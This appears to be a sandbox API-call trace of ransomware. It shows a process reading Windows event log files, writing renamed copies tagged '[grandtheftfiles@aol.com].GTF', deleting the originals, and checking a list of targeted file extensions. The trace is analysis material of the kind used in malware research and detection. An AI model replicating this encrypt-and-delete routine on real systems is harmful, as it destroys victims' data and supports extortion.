	[0077.289] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.291] ReadFile (in: hFile=0x388, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.291] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x152, lpOverlapped=0x0) returned 1
	[0077.291] SetEndOfFile (hFile=0x35c) returned 1
	[0077.291] CloseHandle (hObject=0x35c) returned 1
	[0077.293] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.294] SetEndOfFile (hFile=0x388) returned 1
	[0077.295] CloseHandle (hObject=0x388) returned 1
	[0077.295] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0077.295] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1
	[0077.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0077.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0077.296] lstrlenW (lpString=".doc") returned 4
	[0077.296] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.296] lstrlenW (lpString=".docx") returned 5
	[0077.296] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.296] lstrlenW (lpString=".pdf") returned 4
	[0077.296] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.296] lstrlenW (lpString=".xls") returned 4
	[0077.296] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.296] lstrlenW (lpString=".xlsx") returned 5
	[0077.296] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.296] lstrlenW (lpString=".ppt") returned 4
	[0077.296] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0077.296] lstrlenW (lpString=".zip") returned 4
	[0077.296] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.296] lstrlenW (lpString=".rar") returned 4
	[0077.296] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.296] lstrlenW (lpString=".bz2") returned 4
	[0077.296] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.296] lstrlenW (lpString=".7z") returned 3
	[0077.296] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0077.296] lstrlenW (lpString=".dbf") returned 4
	[0077.296] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0077.296] lstrlenW (lpString=".1cd") returned 4
	[0077.296] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0077.296] lstrlenW (lpString=".jpg") returned 4
	[0077.296] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0077.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0077.297] lstrlenW (lpString=".doc") returned 4
	[0077.297] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.297] lstrlenW (lpString=".docx") returned 5
	[0077.297] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.297] lstrlenW (lpString=".pdf") returned 4
	[0077.297] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.297] lstrlenW (lpString=".xls") returned 4
	[0077.297] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.297] lstrlenW (lpString=".xlsx") returned 5
	[0077.297] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.297] lstrlenW (lpString=".ppt") returned 4
	[0077.297] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0077.297] lstrlenW (lpString=".zip") returned 4
	[0077.297] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.297] lstrlenW (lpString=".rar") returned 4
	[0077.297] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.297] lstrlenW (lpString=".bz2") returned 4
	[0077.297] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.297] lstrlenW (lpString=".7z") returned 3
	[0077.297] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0077.297] lstrlenW (lpString=".dbf") returned 4
	[0077.297] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0077.297] lstrlenW (lpString=".1cd") returned 4
	[0077.297] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0077.297] lstrlenW (lpString=".jpg") returned 4
	[0077.297] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.297] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0077.298] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 49
	[0077.298] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.298] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0077.298] CloseHandle (hObject=0x388) returned 1
	[0077.298] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20
	[0077.298] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.298] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.298] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.298] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.298] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.299] GetLastError () returned 0x0
	[0077.299] ReadFile (in: hFile=0x388, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.302] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.304] ReadFile (in: hFile=0x388, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.304] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x136, lpOverlapped=0x0) returned 1
	[0077.304] SetEndOfFile (hFile=0x35c) returned 1
	[0077.304] CloseHandle (hObject=0x35c) returned 1
	[0077.306] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.306] SetEndOfFile (hFile=0x388) returned 1
	[0077.308] CloseHandle (hObject=0x388) returned 1
	[0077.308] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0077.308] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1
	[0077.308] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0077.308] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0077.308] lstrlenW (lpString=".doc") returned 4
	[0077.308] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.308] lstrlenW (lpString=".docx") returned 5
	[0077.308] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.308] lstrlenW (lpString=".pdf") returned 4
	[0077.308] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.309] lstrlenW (lpString=".xls") returned 4
	[0077.309] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.309] lstrlenW (lpString=".xlsx") returned 5
	[0077.309] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.309] lstrlenW (lpString=".ppt") returned 4
	[0077.309] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.309] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0077.309] lstrlenW (lpString=".zip") returned 4
	[0077.309] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.309] lstrlenW (lpString=".rar") returned 4
	[0077.309] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.309] lstrlenW (lpString=".bz2") returned 4
	[0077.309] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.309] lstrlenW (lpString=".7z") returned 3
	[0077.309] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.309] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0077.309] lstrlenW (lpString=".dbf") returned 4
	[0077.309] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.309] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0077.309] lstrlenW (lpString=".1cd") returned 4
	[0077.309] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.309] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0077.309] lstrlenW (lpString=".jpg") returned 4
	[0077.309] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.309] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0077.309] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0077.309] lstrlenW (lpString=".doc") returned 4
	[0077.309] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.309] lstrlenW (lpString=".docx") returned 5
	[0077.309] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.309] lstrlenW (lpString=".pdf") returned 4
	[0077.309] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.309] lstrlenW (lpString=".xls") returned 4
	[0077.309] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.309] lstrlenW (lpString=".xlsx") returned 5
	[0077.309] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.309] lstrlenW (lpString=".ppt") returned 4
	[0077.310] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.310] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0077.310] lstrlenW (lpString=".zip") returned 4
	[0077.310] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.310] lstrlenW (lpString=".rar") returned 4
	[0077.310] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.310] lstrlenW (lpString=".bz2") returned 4
	[0077.310] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.310] lstrlenW (lpString=".7z") returned 3
	[0077.310] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.310] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0077.310] lstrlenW (lpString=".dbf") returned 4
	[0077.310] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.310] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0077.310] lstrlenW (lpString=".1cd") returned 4
	[0077.310] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.310] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0077.310] lstrlenW (lpString=".jpg") returned 4
	[0077.310] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.310] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0077.310] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 48
	[0077.310] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0077.849] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0077.849] CloseHandle (hObject=0x310) returned 1
	[0077.850] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20
	[0077.850] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.850] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0077.850] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.850] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.850] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0077.850] GetLastError () returned 0x0
	[0077.850] ReadFile (in: hFile=0x310, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.861] WriteFile (in: hFile=0x394, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.864] ReadFile (in: hFile=0x310, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.864] WriteFile (in: hFile=0x394, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x134, lpOverlapped=0x0) returned 1
	[0077.864] SetEndOfFile (hFile=0x394) returned 1
	[0077.864] CloseHandle (hObject=0x394) returned 1
	[0077.866] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.866] SetEndOfFile (hFile=0x310) returned 1
	[0077.867] CloseHandle (hObject=0x310) returned 1
	[0077.867] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0077.868] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1
	[0077.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0077.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0077.868] lstrlenW (lpString=".doc") returned 4
	[0077.868] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.868] lstrlenW (lpString=".docx") returned 5
	[0077.868] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.868] lstrlenW (lpString=".pdf") returned 4
	[0077.868] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.868] lstrlenW (lpString=".xls") returned 4
	[0077.868] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.868] lstrlenW (lpString=".xlsx") returned 5
	[0077.868] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.868] lstrlenW (lpString=".ppt") returned 4
	[0077.868] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0077.868] lstrlenW (lpString=".zip") returned 4
	[0077.868] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.868] lstrlenW (lpString=".rar") returned 4
	[0077.868] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.868] lstrlenW (lpString=".bz2") returned 4
	[0077.868] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.869] lstrlenW (lpString=".7z") returned 3
	[0077.869] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0077.869] lstrlenW (lpString=".dbf") returned 4
	[0077.869] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0077.869] lstrlenW (lpString=".1cd") returned 4
	[0077.869] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0077.869] lstrlenW (lpString=".jpg") returned 4
	[0077.869] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0077.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0077.869] lstrlenW (lpString=".doc") returned 4
	[0077.869] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.869] lstrlenW (lpString=".docx") returned 5
	[0077.869] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.869] lstrlenW (lpString=".pdf") returned 4
	[0077.869] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.869] lstrlenW (lpString=".xls") returned 4
	[0077.869] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.869] lstrlenW (lpString=".xlsx") returned 5
	[0077.869] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.869] lstrlenW (lpString=".ppt") returned 4
	[0077.869] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0077.869] lstrlenW (lpString=".zip") returned 4
	[0077.869] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.869] lstrlenW (lpString=".rar") returned 4
	[0077.869] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.869] lstrlenW (lpString=".bz2") returned 4
	[0077.869] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.869] lstrlenW (lpString=".7z") returned 3
	[0077.869] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0077.869] lstrlenW (lpString=".dbf") returned 4
	[0077.869] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0077.870] lstrlenW (lpString=".1cd") returned 4
	[0077.870] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0077.870] lstrlenW (lpString=".jpg") returned 4
	[0077.870] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.870] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0077.870] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 48
	[0077.870] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0077.870] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0077.870] CloseHandle (hObject=0x310) returned 1
	[0077.870] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20
	[0077.870] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.870] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0077.870] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.870] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.871] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0077.943] GetLastError () returned 0x0
	[0077.943] ReadFile (in: hFile=0x310, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.990] WriteFile (in: hFile=0x368, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.992] ReadFile (in: hFile=0x310, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
